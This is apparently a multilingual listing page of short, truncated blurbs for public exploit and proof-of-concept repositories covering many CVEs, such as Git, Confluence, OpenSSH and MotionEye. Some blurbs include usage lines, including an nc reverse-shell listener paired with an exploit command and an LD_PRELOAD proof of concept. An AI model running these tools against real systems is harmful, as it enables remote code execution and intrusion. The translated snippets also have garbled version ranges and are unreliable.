CVE-2024-32002

CVE-2024-32002 1. Modifica il file exploit.sh sostituisci i repository 2. esegui bash exploit.sh exploit.sh Ispirato da - https://github.com/safebuffer/CVE-2024-32002 Realizzato per CTF Versioni vulnerabili v2.45.0 v2.44.0 =v2.43.3 =v2.42.1 v2.41.0 =v2.40.1 =v2.39.3 Fonte...

SOC227-Microsoft-SharePoint-Server-Elevation-of-Privilege-Possible-CVE-2023-29357-Exploitation

SOC227 - Microsoft SharePoint Server Elevazione dei privilegi Sfruttamento di CVE-2023-29357 CVE-2023-29357 è una vulnerabilità critica di elevazione dei privilegi che, se combinata con altre vulnerabilità, potrebbe potenzialmente portare all'esecuzione di codice in remoto. Il punteggio CVSS di...

CVE-2024-33210

CVE-2024-33210 È stata identificata una vulnerabilità di cross-site scripting XSS in Flatpress 1.3. Questa vulnerabilità consente a un attaccante di iniettare script dannosi nelle pagine web visualizzate da altri utenti. Tipo di vulnerabilità: Cross Site Scripting XSS Vendor del prodotto: flatpre...

ATLASSIAN-Confluence_rce

ATLASSIAN-Confluencerce CVE-2022-26134 Installation root@kitploit: git clone https://github.com/xanszZZ/ATLASSIAN-Confluencerce cd ATLASSIAN-Confluencerce Verwendung Da dieses Tool ein POC ist, das gemäß den Entwicklungsrichtlinien des pocsuite3-Frameworks erstellt wurde, laden Sie bitte vor der...

CVE-2023-51385_poc-test

CVE-2023-51385 poc OpenSSH ProxyCommand RCE poc OpenSSH 9.6 Befehlsinjektions-Schwachstelle PoC Chinesisch 1.vim /.ssh/config oder bearbeite C:/Users/username/.ssh/config unter Windows root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 2. git clone...

CVE-2018-11776-FIS

CVE-2018-11776 ist eine Sicherheitslücke in Apache Struts, einem beliebten Framework für die Entwicklung von Webanwendungen. Diese Schwachstelle ermöglicht es Angreifern, entfernte Angriffe durchzuführen, indem sie schädlichen Code in Datenfelder von HTTP-Anfragen einschleusen. Diese...

CVE-2024-7593

CVE-2024-7593 विवरण: CVE-2024-7593 एक गंभीर कमजोरी है जो कई Pulse Secure उत्पादों को प्रभावित करती है, जिसमें Pulse Secure VPN भी शामिल है। यह कमजोरी एक प्रमाणित हमलावर को प्रबंधन इंटरफ़ेस तक पहुंच के साथ प्रभावित सर्वर पर मनमाने कमांड निष्पादित करने की अनुमति देती है। इससे दुर्भावनापूर्ण कोड का...

CVE-RCE

Dieses Repository hat keine README-Datei...

CVE-2024-25153

Exploit per CVE-2024-25153 Indice Clicca per visualizzare 1. Introduzione 2. Installazione 3. Utilizzo 4. Contribuire 5. Licenza Introduzione Benvenuto nell'Exploit per CVE-2024-25153! Questo progetto è una soluzione per sfruttare la vulnerabilità CVE-2024-25153 ed eseguire codice da remoto in...

CVE-2023-38646

CVE-2023-38646 Lo script originale proviene da securezeron Durante i miei test, ho scoperto che la reverse shell generata da questo PoC, dopo la codifica base64, falliva a causa del carattere '=' alla fine. L'ho leggermente modificato per risolvere questo problema. root@kitploit: 原始的生成reverse...

CVE-2023-1521

PoC root@kitploit: gcc -shared -o libpoc.so poc.c -fPIC export LDPRELOAD=fullpathtolibpoc.so sccache gcc foo.c -o foo...

CVE-2023-36844

CVE-2023-36844 La vulnerabilità "Esecuzione di codice remoto nei prodotti Juniper JunOS all'interno delle serie SRX ed EX" è un problema di sicurezza che consente a un aggressore di eseguire codice arbitrario su un dispositivo Juniper target che esegue il software JunOS. Questa vulnerabilità...

RCE_CVE-2024-7954

RCECVE-2024-7954 Beschreibung: Das porteplume-Plugin, das von SPIP vor 4.30-alpha2, 4.2.13 und 4.1.16 verwendet wird, ist anfällig für eine Schwachstelle zur Ausführung beliebigen Codes. Ein entfernter und nicht authentifizierter Angreifer kann beliebiges PHP als SPIP-Benutzer ausführen, indem er...

CVE-2024-57175

CVE-2024-57175: Cross-Site Scripting XSS Memorizzato in PHPGURUKUL Online Birth Certificate System v1.0 Descrizione Una vulnerabilità di Cross-Site Scripting XSS Memorizzato è stata identificata in PHPGURUKUL Online Birth Certificate System v1.0 nella pagina /user/certificate-form.php. Questa...

PS-2018-002---CVE-2018-14442

Foxit Reader - CPDFParser::mpCryptoHandler - Uso dopo liberazione - RCE Vulnerabilità Fare riferimento a memoria dopo che è stata liberata può causare il crash di un programma, l'uso di valori imprevisti o l'esecuzione di codice Descrizione della vulnerabilità Questa vulnerabilità consente a un...

Detailed-Analysis-and-Mitigation-Strategies-for-CVE-2024-38124-and-CVE-2024-43468

Análise-Detalhada-e-Estratégias-de-Mitigação-para-CVE-2024-38124-e-CVE-2024-43468 Análise detalhada e estratégias de mitigação de script para CVE-2024-38124 e CVE-2024-43468 CVE-2024-38124: Windows Netlogon Contexto de Exploração Técnica: Em um cenário do mundo real, um atacante com acesso à rede...

Exploit_CVE-2019-17558-RCE

ExploitCVE-2019-17558-RCE Iniezione Apache Solr 1.4 per ottenere una shell per codificare url, postrequest, getrequest...

CVE-2025-25014

POC per CVE-2025-25014 Una vulnerabilità di Prototype pollution in Kibana consente l'esecuzione di codice arbitrario tramite richieste HTTP appositamente predisposte verso gli endpoint di machine learning e reporting. Attualmente questo POC rileva solo le istanze vulnerabili. Utilizzo...

CVE-2020-24597

Erstellt von HK CVE-2020-24597: Directory Traversal in commedia zu RCE Hinweis: Da Joomla Core 3.9.21 den Fehler nicht richtig behoben hat, wurde dieser Bug daher nicht ordnungsgemäß gepatcht. Ich kann diesen Patch leicht umgehen. Ich möchte dieses Geheimnis bewahren, bis dieser Bug vollständig...

CVE-2025-60787_PoC

CVE-2025-60787 - MotionEye RCE RCE autenticata in MotionEye = 0.43.1b4 tramite bypass della convalida lato client sul campo imagefilename. Utilizzo root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 Opzioni...